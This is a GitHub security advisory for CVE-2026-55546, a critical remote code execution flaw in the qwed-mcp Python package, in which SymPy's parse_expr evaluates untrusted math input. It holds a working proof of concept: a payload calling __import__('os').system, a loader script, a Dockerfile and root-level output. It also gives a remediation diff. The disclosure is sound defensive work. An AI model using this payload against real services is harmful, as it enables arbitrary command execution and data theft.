GitHub Advisoryadvisory · PyPI
GHSA-mw6r-2hvm-4rp2 qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input
CRITICAL
Official page ↗
- Aliases
- CVE-2026-55546
- Ecosystem
- PyPI
- Packages
- qwed-mcp
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-08-25
Affected packages
• PyPI qwed-mcp: < 0.2.1 → fixed in 0.2.1
Description
Summary
`verify_math_expression()` in `qwed-mcp` v0.2.0 passes attacker-controlled strings directly to SymPy's `parse_expr()` without restricting `global_dict` or validating the expression's AST. Because `parse_expr()` internally calls `eval()` and Python automatically injects the current module's `__builtins__` when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including `__import__('os').system(...)` — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.
Details
The vulnerability resides in `src/qwed_mcp/engines/math_engine.py`. The public function `verify_math_expression(expression, claimed_result, operation)` accepts both the `expression` and `claimed_result` arguments as raw strings and passes them — after a trivial `^` → `` substitution — to `sympy.parsing.sympy_parser.parse_expr()`:
```python
math_engine.py:50-54
expr = parse_expr(
expression.replace("^", ""),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)
```
```python
math_engine.py:64-68
claimed = parse_expr(
claimed_result.replace("^", ""),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)
```
`local_dict` only adds math symbols to the evaluation namespace; it does not remove `__builtins__`. SymPy's `parse_expr()` eventually calls Python's built-in `eval()`, which — absent an explicit `{"__builtins__": {}}` in `global_dict` — receives the full built-in namespace. This makes `__import__`, `open`, `exec`, and every other Python built-in available to the evaluated expression.
There is no allowlist, AST pre-validation, or sandboxing applied at any point before the `parse_expr()` calls (lines 50 and 64).
Data flow:
1. Source — `math_engine.py:13-16`: external caller supplies `expression` and `claimed_result`.
2. Propagation — `math_engine.py:50-54`: `expression` substituted and forwarded to `parse_expr()`.
3. Propagation — `math_engine.py:64-68`: `claimed_result` substituted and forwarded to `parse_expr()`.
4. Sink — `sympy.parsing.sympy_parser.parse_expr()`: calls `eval()` with unrestricted `__builtins__`.
PoC
Environment setup
```bash
Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301
Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12
Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce
```
Exploit input
```python
import importlib.util, sys, os
spec = importlib.util.spec_from_file_location(
"qwed_mcp.engines.math_engine",
"src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression
payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")
print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
print(f.read())
```
Expected output (Phase 2 Docker observation)
```
[+] * EXPLOIT SUCCESSFUL *
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---
[RESULT] PASS — deterministic RCE evidence observed inside container
```
The marker file `/tmp/vuln001_rce_marker` is created and `id` output confirms execution as root with no patches, flags, or privileged configuration required.
Remediation
Apply AST allowlisting and restrict `global_dict` before every `parse_expr()` call:
```diff
--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
import logging
+import ast
from typing import Optional
+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+ ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+ ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+ ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+ tree = ast.parse(expr.replace("^", ""), mode="eval")
+ for node in ast.walk(tree):
+ if not isinstance(node, ALLOWED_AST):
+ raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+ if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+ raise ValueError(f"Unsupported symbol: {node.id}")
+ if isinstance(node, ast.Call):
+ if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+ raise ValueError("Only approved math functions are allowed")
+ if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+ raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
• expr = parse_expr(
+ _validate_math_syntax(expression)
+ expr = parse_expr(
expression.replace("^", ""),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)
• claimed = parse_expr(
+ _validate_math_syntax(claimed_result)
+ claimed = parse_expr(
claimed_result.replace("^", ""),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)
```
Impact
Any caller that passes attacker-controlled input to `verify_math_expression()` or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:
• Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
• Read, write, or delete files accessible to the process.
• Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
• Pivot to internal services reachable from the host.
The function is part of the public PyPI package `qwed-mcp`. Any downstream library consumer or service that wraps `verify_math_expression()` with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM python:3.12-slim
LABEL vuln="VULN-001" \
title="Unsafe SymPy parse_expr() RCE" \
cwe="CWE-94" \
target="QWED-AI/[email protected]"
WORKDIR /app
Copy only the package source tree from the cloned repo.
math_engine.py only imports sympy at runtime; full project deps
(qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src
Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"
Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py
Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src
CMD ["python3", "/app/poc.py"]
```
`poc.py`
```python
"""
VULN-001 Proof of Concept
=========================
Target : QWED-AI/qwed-mcp v0.2.0
Module : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)
Root cause
----------
verify_math_expression() passes attacker-controll…
Related
Alias · CVE (1)
- CVE-2026-55546 QWED-MCP is a deterministic verification gateway for MCP. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/QWED-AI/qwed-mcp/security/advisories/GHSA-mw6r-2hvm-4rp2 web
- https://github.com/QWED-AI/qwed-mcp/pull/22 web
- https://github.com/QWED-AI/qwed-mcp/commit/362e61892052e250c56cb1ee852024d6f98c467b web
- https://github.com/QWED-AI/qwed-mcp package
- https://github.com/QWED-AI/qwed-mcp/releases/tag/v0.2.1 web